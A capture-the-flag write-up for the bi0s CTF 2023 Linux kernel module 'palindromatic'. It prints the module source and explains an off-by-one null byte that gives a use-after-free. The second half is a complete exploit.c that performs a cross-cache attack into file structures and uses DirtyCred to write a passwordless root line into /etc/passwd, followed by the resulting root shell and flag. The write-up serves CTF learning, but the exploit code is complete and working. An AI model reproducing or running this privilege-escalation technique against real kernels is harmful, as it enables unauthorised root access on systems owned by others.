/..

#CONTENT

#TOP

src
8 KiB2024-02-29 21:34
exploit-libc
766 KiB2024-03-04 05:30
exploit-musl
209 KiB2024-03-04 05:30
exploit.c
6 KiB2024-03-04 05:30
init.gdb
616 bytes2024-02-29 21:34
Makefile
158 bytes2024-03-01 10:27
palindromatic.ko
313 KiB2024-02-29 21:34
pow.py
442 bytes2024-02-29 21:34
README.mdx
4 KiB2024-08-23 05:19
run.sh
440 bytes2024-02-29 21:34

#palindromatic

The author kindly provides source for the kernel module:

src/palindromatic.c
C
#include "linux/random.h"
#include "palindromatic_util.c"

char *temp_buffer;
unsigned long magic;
queue_t incoming_queue;
queue_t outgoing_queue;
bool sanitized = false;

/*
 Copy request from user and add to start of queue
*/
static noinline long pm_add_request(arg_t *arg)
{
    long idx = -1;
    request_t *req = kmem_cache_zalloc(pm_cache, GFP_KERNEL);
    if(!req) goto end;

    req->type = RAW;
    req->magic = magic;
    if(copy_from_user(req->str, arg->buffer, STRING_SZ))
    {
        kfree(req);
        goto end;
    }
    idx = pm_queue_enqueue(&incoming_queue, req);
    
end:
    return idx;
}

/*
 Accept characters only in [A-Z|a-z] and translate to [A-Z]
 Only 1 sanitize is allowed
*/
static noinline long pm_sanitize_request(void)
{
    long idx = -1;

    request_t *req = pm_queue_peek(&incoming_queue);
    if(!req) goto end;
    if(req->type == SANITIZED) goto end;

    memset(temp_buffer, 0x0, STRING_SZ);

    int ptr = 0;
    for(int i = 0; i < STRING_SZ; i++)
    {
        if(!req->str[i]) break;

        if(req->str[i] > 0x60 && req->str[i] < 0x7b)
            temp_buffer[ptr++] = req->str[i]-0x20;

        else if(req->str[i] > 0x40 && req->str[i] < 0x5b)
            temp_buffer[ptr++] = req->str[i];

        else continue;
    }

    temp_buffer[ptr] = 0;
    strcpy(req->sanstr, temp_buffer);
    req->type = SANITIZED;

    idx = pm_queue_enqueue(&incoming_queue, pm_queue_dequeue(&incoming_queue));

end:
    return idx;
}

/*
 If request is raw, remove it
 else, set it to raw and send it back to start of the queue
*/
static noinline long pm_reset_request(void)
{
    request_t *req = pm_queue_dequeue(&incoming_queue);
    if(!req) return -1;

    if(req->type != RAW)
    {
        req->type = RAW;
        memset(req->sanstr, 0x0, sizeof(req->sanstr));
        pm_queue_enqueue(&incoming_queue, req);
    }

    else
    {
        kfree(req);
    }
    return 0;
}

/*
 Check if it is a palindrome or not and set type accordingly
 Remove from incoming queue and add to outgoing queue
*/
static noinline long pm_process_request(void)
{
    long idx = -1;

    request_t *req = pm_queue_peek(&incoming_queue);
    if(!req) goto end;
    if(req->magic != magic) goto end;
    int len = req->type==SANITIZED?strlen(req->sanstr):strlen(req->str);
    if(!len) goto end;
    idx = pm_queue_enqueue(&outgoing_queue, req);
    if(idx < 0) goto end;

    memset(temp_buffer, 0x0, STRING_SZ);
    if(req->type == RAW)
    {
        for(int i = (len/2)-1; i > -1; i--)
        {
            if(req->str[i] < 0x41 || req->str[i] > 0x5a) break;
            temp_buffer[i] = req->str[i];
        }
        temp_buffer[len/2] = 0;
        
        if(strcmp(temp_buffer, &req->str[len/2]+len%2)) req->type = NONPALINDROME;
        else req->type = PALINDROME;
        pm_queue_dequeue(&incoming_queue);
    }

    if(req->type == SANITIZED)
    {
        for(int i = (len/2)-1; i > -1; i--) temp_buffer[i] = req->sanstr[i];
        temp_buffer[len/2] = 0;

        if(strcmp(temp_buffer, &req->sanstr[len/2]+len%2)) req->type = NONPALINDROME;
        else req->type = PALINDROME;
        pm_queue_dequeue(&incoming_queue);
    } 

end:
    return idx;
}

/*
 Get result of first request in outgoing queue
*/
static noinline long pm_reap_request(void)
{
    request_t *req = pm_queue_dequeue(&outgoing_queue);
    if(!req) return -1;
    if(req->magic != magic) return -1;
    
    long ret = req->type==PALINDROME?1:0;
    kfree(req);

    return ret;
}

/*
 Get the available slots in both queues
*/
static noinline long pm_query_capacity(void)
{
    long ret = (QUEUE_SZ-pm_queue_count(&outgoing_queue))<<16 
                | (QUEUE_SZ-pm_queue_count(&incoming_queue));
    return ret;
}


static long pm_ioctl(struct file *file, unsigned int cmd, unsigned long uarg)
{   
    arg_t arg;
    long ret = -1;
    mutex_lock(&lock);

    switch(cmd)
    {
        case QUEUE:
            if(copy_from_user(&arg, (void *)uarg, sizeof(arg_t))) goto end;
            ret = pm_add_request(&arg);
            break;

        case SANITIZE:
            if(sanitized) goto end;
            sanitized = true;
            ret = pm_sanitize_request();
            break;

        case RESET:
            ret = pm_reset_request();
            break;

        case PROCESS:
            ret = pm_process_request();
            break;

        case REAP:
            ret = pm_reap_request();
            break;

        case QUERY:
            ret = pm_query_capacity();
            break;

        default:
            goto end;
    }

end:
    mutex_unlock(&lock);
    return ret;
}


static int __init init_palindromatic(void)
{
    if(misc_register(&pm_device) < 0) goto err;

    pm_cache = kmem_cache_create("palindromatic", TARGET_SZ, __alignof__(request_t), 
                            SLAB_ACCOUNT | SLAB_PANIC | SLAB_HWCACHE_ALIGN | SLAB_NO_MERGE, NULL);
    if(!pm_cache) goto err; 

    temp_buffer = kzalloc(TARGET_SZ, GFP_KERNEL);
    if(!temp_buffer) goto err;

    get_random_bytes(&magic, sizeof(magic));
    pm_queue_init(&incoming_queue);
    pm_queue_init(&outgoing_queue);

    return 0;

err:
    if(pm_cache) kmem_cache_destroy(pm_cache);
    printk(KERN_ALERT "[-] Failed to register pipeparty");
    return -1;
}


static void __exit exit_palindromatic(void)
{
    kfree(temp_buffer);
    kmem_cache_destroy(pm_cache);
    misc_deregister(&pm_device);
}

module_init(init_palindromatic);
module_exit(exit_palindromatic);
src/palindromatic.h
C
#include <linux/compiler.h>
#include <linux/kobject.h>
#include <asm/page_types.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/device.h>
#include <linux/mutex.h>
#include <linux/fs.h>
#include <linux/slab.h>
#include <linux/uaccess.h>
#include <linux/miscdevice.h>
#include <linux/gfp.h>
#include <linux/random.h>
#include <linux/gfp_types.h>
#include <linux/slab.h>
#include <linux/list.h>

MODULE_AUTHOR("k1R4");                        
MODULE_DESCRIPTION("\"palindromatic\" - bi0s CTF 2023");
MODULE_LICENSE("GPL");

enum : unsigned int
{
    QUEUE = 0xb10500a,
    SANITIZE,
    RESET,
    PROCESS,
    REAP,
    QUERY
};

typedef enum ptype : unsigned long
{
    RAW = 0x1337,
    SANITIZED,
    PALINDROME,
    NONPALINDROME
} ptype;

#define TARGET_SZ   0x400
#define STRING_SZ   ((TARGET_SZ-2*sizeof(unsigned long))/2)

typedef struct request_t 
{
    ptype type;
    unsigned long magic;
    char str[STRING_SZ];
    char sanstr[STRING_SZ];
} request_t;

typedef struct arg_t
{
    char *buffer;
} arg_t;

#define QUEUE_SZ     0x100

typedef struct queue_t
{
    int front;
    int rear;
    request_t *reqs[QUEUE_SZ];
} queue_t;

DEFINE_MUTEX(lock);
struct kmem_cache *pm_cache;

static noinline long pm_ioctl(struct file *file, unsigned int cmd, unsigned long uarg);

static struct file_operations pm_fops = { .unlocked_ioctl = pm_ioctl };

struct miscdevice pm_device = {
    .minor = MISC_DYNAMIC_MINOR,
    .name = "palindromatic",
    .fops = &pm_fops,
};                                               
src/palindromatic_util.c
C
#include "palindromatic.h"

static void pm_queue_init(queue_t *queue)
{
    queue->front = queue->rear = -1; 
    for(int i = 0; i<QUEUE_SZ; i++) queue->reqs[i] = NULL;
}


static long pm_queue_enqueue(queue_t *queue, request_t *req)
{
    if((queue->front == 0 && queue->rear == QUEUE_SZ-1) || (queue->rear+1)%QUEUE_SZ == queue->front) return -1;

    else if(queue->front == -1)
    {
        queue->front = queue->rear = 0;
        queue->reqs[queue->rear] = req;
    }

    else if(queue->rear == QUEUE_SZ-1 && queue->front != 0)
    {
        queue->rear = 0;
        queue->reqs[queue->rear] = req;
    }

    else 
    {
        queue->rear++;
        queue->reqs[queue->rear] = req;
    }

    return queue->rear;
}


static request_t *pm_queue_dequeue(queue_t *queue)
{
    if(queue->front == -1) return NULL;

    request_t *req = queue->reqs[queue->front];
    queue->reqs[queue->front] = NULL;

    if(queue->front == queue->rear) queue->front = queue->rear = -1;
    else if(queue->front == QUEUE_SZ-1) queue->front = 0;
    else queue->front++;

    return req;
}


static request_t *pm_queue_peek(queue_t *queue)
{
    if(queue->front == -1) return NULL;
    else return queue->reqs[queue->front];
}


static int pm_queue_count(queue_t *queue)
{
    if(queue->front == -1) 
        return 0;

    else if(queue->rear >= queue->front)
        return queue->rear-queue->front+1;

    else
        return QUEUE_SZ - queue->front + queue->rear + 1;
}

#first look

At first glance, palindromatic.c defines a kernel module that allows for communication through ioctl. palindromatic_util.c provides the definition for a fixed size ring queue that can hold up to 256 elements. The interface creates a isolated cache of size 0x400 used to allocate request_t:

src/palindromatic.c
C
    pm_cache = kmem_cache_create("palindromatic", TARGET_SZ, __alignof__(request_t), 
                            SLAB_ACCOUNT | SLAB_PANIC | SLAB_HWCACHE_ALIGN | SLAB_NO_MERGE, NULL);
    if(!pm_cache) goto err; 
src/palindromatic.h
C
#define TARGET_SZ   0x400
#define STRING_SZ   ((TARGET_SZ-2*sizeof(unsigned long))/2)

typedef struct request_t 
{
    ptype type;
    unsigned long magic;
    char str[STRING_SZ];
    char sanstr[STRING_SZ];
} request_t;

Caches are used to allocate a single type of item (in this case request_t), and any free'd items are usually held by the cache and cannot be used to serve other kind of general purpose kernel allocation. This makes heap uaf exploitation a bit more difficult than normal.

#request uaf

Looking deeper at palindromatic.c we notice an off by one null byte bug in pm_sanitize_request:

src/palindromatic.c
C
/*
 Accept characters only in [A-Z|a-z] and translate to [A-Z]
 Only 1 sanitize is allowed
*/
static noinline long pm_sanitize_request(void)
{
    long idx = -1;

    request_t *req = pm_queue_peek(&incoming_queue);
    if(!req) goto end;
    if(req->type == SANITIZED) goto end;

    memset(temp_buffer, 0x0, STRING_SZ);

    int ptr = 0;
    for(int i = 0; i < STRING_SZ; i++)
    {
        if(!req->str[i]) break;

        if(req->str[i] > 0x60 && req->str[i] < 0x7b)
            temp_buffer[ptr++] = req->str[i]-0x20;

        else if(req->str[i] > 0x40 && req->str[i] < 0x5b)
            temp_buffer[ptr++] = req->str[i];

        else continue;
    }

    temp_buffer[ptr] = 0;
    strcpy(req->sanstr, temp_buffer);
    req->type = SANITIZED;

    idx = pm_queue_enqueue(&incoming_queue, pm_queue_dequeue(&incoming_queue));

end:
    return idx;
}

By sanitizing a request that is exactly STRING_SZ bytes long a null byte is written out of bounds past the end of the sanstr field. The sanstr field is at the very end of request_t, which allows modification of the type field of any request that is immediately after the sanitized request in memory. The oob null byte corrupts the next request and makes the type invalid, which is not handled correctly in pm_process_request.

src/palindromatic.c
C
/*
 Check if it is a palindrome or not and set type accordingly
 Remove from incoming queue and add to outgoing queue
*/
static noinline long pm_process_request(void)
{
    long idx = -1;

    request_t *req = pm_queue_peek(&incoming_queue);
    if(!req) goto end;
    if(req->magic != magic) goto end;
    int len = req->type==SANITIZED?strlen(req->sanstr):strlen(req->str);
    if(!len) goto end;
    idx = pm_queue_enqueue(&outgoing_queue, req);
    if(idx < 0) goto end;

    memset(temp_buffer, 0x0, STRING_SZ);
    if(req->type == RAW)
    {
        for(int i = (len/2)-1; i > -1; i--)
        {
            if(req->str[i] < 0x41 || req->str[i] > 0x5a) break;
            temp_buffer[i] = req->str[i];
        }
        temp_buffer[len/2] = 0;
        
        if(strcmp(temp_buffer, &req->str[len/2]+len%2)) req->type = NONPALINDROME;
        else req->type = PALINDROME;
        pm_queue_dequeue(&incoming_queue);
    }

    if(req->type == SANITIZED)
    {
        for(int i = (len/2)-1; i > -1; i--) temp_buffer[i] = req->sanstr[i];
        temp_buffer[len/2] = 0;

        if(strcmp(temp_buffer, &req->sanstr[len/2]+len%2)) req->type = NONPALINDROME;
        else req->type = PALINDROME;
        pm_queue_dequeue(&incoming_queue);
    } 

end:
    return idx;
}

In pm_process_request if the type is not one that it expects the request is left on the incoming_queue as well as the outgoing_queue. Now we can free one reference to the victim chunk from one queue, while keeping a reference to the victim chunk in the other queue, giving a request uaf!

#cross cache

However uaf is not enough, since the requests were allocated from an isolated cache extra work is needed to be done to free the backing pages and return them to the page allocator. This is known as a cross cache attack and this writeup has an amazing explanation of cross cache that was invaluable while solving this challenge. You should definitely read the section about the cross cache attack before continuing.

The cross cache described in the writeup boils down to:

  1. allocate objs_per_slab * (cpu_partial + 1) items
  2. allocate objs_per_slab - 1 items
  3. uaf your victim file
  4. allocate objs_per_slab + 1 items to get a new active page
  5. free all the files in the victim page to release the victim page to the cpu partial list
  6. free a single file from the cpu_partial + 1 pages allocated in step 1

The last step overflows the cpu partial list, and since our victim page is empty it is released back to the page allocator. But in this challenge we know that the cache is always empty when we start, so we can simplify the cross cache quite a bit.

  1. allocate objs_per_slab * cpu_partial items
  2. allocate objs_per_slab items as the victim page
  3. uaf a request in the victim page
  4. free all requests in the victim page
  5. free all requests allocated in step 1

Once the victim page is released to the page allocator, we can use the technique described in this writeup where they cross cache into filp and abuse dirty cred to achieve write access to privileged read only files. Using this we can gain access to /etc/passwd and pop a root shell.

#solve script

exploit.c
C
#define  _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/ioctl.h>
#include <stdint.h>
#include <err.h>
#include <errno.h>
#include <sys/syscall.h>
#include <sched.h>
#include <sys/mman.h>
#include <stdlib.h>

/* palindromatic.h START */
enum : unsigned int
{
    QUEUE = 0xb10500a,
    SANITIZE,
    RESET,
    PROCESS,
    REAP,
    QUERY
};

typedef enum ptype : unsigned long
{
    RAW = 0x1337,
    SANITIZED,
    PALINDROME,
    NONPALINDROME
} ptype;

#define TARGET_SZ   0x400
#define STRING_SZ   ((TARGET_SZ-2*sizeof(unsigned long))/2)

typedef struct request_t 
{
    ptype type;
    unsigned long magic;
    char str[STRING_SZ];
    char sanstr[STRING_SZ];
} request_t;

typedef struct arg_t
{
    char *buffer;
} arg_t;

#define QUEUE_SZ     0x100
/* palindromatic.h END */

// /sys/kernel/slab/filp/objs_per_slab
#define OBJS_PER_SLAB (8UL)
// /sys/kernel/slab/filp/cpu_partial
#define CPU_PARTIAL (24UL)
#define OBJ_SIZE (0x400UL)

#define MSG_SPRAYS (512)
#define KEY_SPRAYS (512)

#define try(expr)({ \
    int _i = (expr); \
    if (0 > _i) { \
        errx(1, "error at %s:%d: returned %d, %s\n", __FILE__, __LINE__, _i, strerror(errno)); \
    } \
    _i; \
})

#define warn(expr)({ \
    int _i = (expr); \
    if (0 > _i) { \
        printf("pwn: error at %s:%d: returned %d, %s\n", __FILE__, __LINE__, _i, strerror(errno)); \
    } \
    _i; \
})

typedef struct {
    uint16_t incoming;
    uint16_t outgoing;
} __attribute__((packed)) capacity;

int dfd;

capacity unused(capacity *cap) {
    union {
        capacity cap;
        long status;
    } response;

    response.status = try(ioctl(dfd, QUERY));
    *cap = response.cap;
    return *cap;
}

capacity used(capacity *cap) {
    unused(cap);
    cap->incoming = QUEUE_SZ - cap->incoming;
    cap->outgoing = QUEUE_SZ - cap->outgoing;

    return *cap;
}

void prompt(char *str) {
    printf("%s", str);
    getchar();
    warn(ioctl(dfd, QUERY));
}

int busyloop(void *arg) {
    while (1) {}
}

int main() {
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    printf("[+] starting exploit\n");

    dfd = try(open("/dev/palindromatic", O_RDONLY));

    char repeat[TARGET_SZ] = {0};
    memset(repeat, 0x41, sizeof(repeat));

    arg_t req = { .buffer = repeat, };
    capacity cap;

    int count = 0;

    for (int i = 0; i < OBJS_PER_SLAB; i++) {
        try (ioctl(dfd, QUEUE, &req));
        count++;
    }

    for (int i = 0; i < OBJS_PER_SLAB * (CPU_PARTIAL - 1); i++) {
        try(ioctl(dfd, QUEUE, &req));
        count++;
    }

    try(ioctl(dfd, SANITIZE));

    for (int i = 0; i < OBJS_PER_SLAB; i++) {
        try(ioctl(dfd, PROCESS));

        used(&cap);
        printf("(%03x): incoming: %d, outgoing: %d\n", i, cap.incoming, cap.outgoing);
        if (cap.incoming + cap.outgoing != count) {
            printf("chunk uafed\n");
            break;
        }
    }

    if (cap.incoming + cap.outgoing == count) {
        errx(1, "failed to uaf chunk");
    }

    for (int i = 0; i < OBJS_PER_SLAB; i++) {
        try(ioctl(dfd, QUEUE, &req));
    }

    printf("[+] freeing reference in outgoing list\n");
    int outgoing = cap.outgoing;
    for (int i = 0; i < outgoing; i++) {
        try(ioctl(dfd, REAP));
        used(&cap);
        printf("(%03x): incoming: %d, outgoing: %d\n", i, cap.incoming, cap.outgoing);
    }

    try(ioctl(dfd, RESET));

    while (outgoing != OBJS_PER_SLAB - 1) {
        try(ioctl(dfd, RESET));
        outgoing += 1;
    }

    printf("[+] filling outgoing list\n");
    for (int i = 0; i < OBJS_PER_SLAB * (CPU_PARTIAL - 1); i++) {
        int before = used(&cap).incoming;
        try(ioctl(dfd, PROCESS));
        int after = used(&cap).incoming;
        
        if (after + 1 != before) {
            printf("[+] after: %d, before: %d\n", after, before);
            errx(1, "something went wrong???");
        }
    }

    for (int i = 0; i < 8; i++) {
        try(ioctl(dfd, PROCESS));
    }

    try(ioctl(dfd, PROCESS));

    for (int i = 0; i < OBJS_PER_SLAB * CPU_PARTIAL; i++) {
        try(ioctl(dfd, REAP));
    }

    used(&cap);
    printf("incoming: %d, outgoing; %d\n", cap.incoming, cap.outgoing);

    #define NUM_SPRAY_FDS (0x300)
    int spray_fds[NUM_SPRAY_FDS];
    for (int i = 0; i < NUM_SPRAY_FDS; i++) {
        spray_fds[i] = try(open("/tmp/a", O_RDWR));
    }

    try(ioctl(dfd, RESET));
    try(ioctl(dfd, RESET));

    int spray_fds_2[NUM_SPRAY_FDS];
    for (int i = 0; i < NUM_SPRAY_FDS; i++) {
        spray_fds_2[i] = open("/tmp/a", O_RDWR);
        lseek(spray_fds_2[i], 0x8, SEEK_SET);
    }

    int freed_fd = -1;
    for (int i = 0; i < NUM_SPRAY_FDS; i++) {
        if (lseek(spray_fds[i], 0 ,SEEK_CUR) == 0x8) {
            freed_fd = spray_fds[i];
            lseek(freed_fd, 0x0, SEEK_SET);
            printf("[+] Found freed fd: %d\n", freed_fd);
        }
    }
    if (freed_fd == -1)
        errx(1, "failed to find freed fd");

    puts("[+] DirtyCred via mmap");
    char *file_mmap = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, freed_fd, 0);
    // After: 3 fd 2 refcount (Because new file)

    close(freed_fd);
    // After: 2 fd 1 refcount (Because new file)

    for (int i = 0; i < NUM_SPRAY_FDS; i++) {
        close(spray_fds_2[i]);
    }
    // After: 1 fd 0 refcount (Because new file)
    // Effect: FD in mmap (which is writeable) can be replaced with RDONLY file

    for (int i = 0; i < NUM_SPRAY_FDS; i++) {
        spray_fds[i] = open("/etc/passwd", O_RDONLY);
    }
    // After: 2 fd 1 refcount (but writeable due to mmap)

    strcpy(file_mmap, "root::0:0:root:/root:/bin/sh\n");
    puts("[+] Finished! Open root shell...");
    puts("=======================");

    while (1) {}
}

One small thing is that the file state gets corrupted by our exploit, and executing system("su") from the exploit process crashes the kernel when it attempts to load shared libraries. Instead we just execute the exploit script in the background and launch su on the terminal once it is finished.

TEXT
/ # id
id
uid=0(root) gid=0(root) groups=0(root)
/ # cat /root/flag
cat /root/flag
bi0sctf{p4l1ndr0me5_4r3_pr0bl3m4t1c_frfr_b851ea94}
/ # 

#other small things

Usually when writing kernel exploits, statically linking against musl is common because it generates much smaller binaries. zig makes this easy as a drop in replacement for gcc and only requiring a single extra commandline switch!

Makefile
MAKE
all: build

build: exploit.c src/palindromatic.h
	zig cc exploit.c -o exploit-musl -static -target x86_64-linux-musl
	gcc    exploit.c -o exploit-libc -static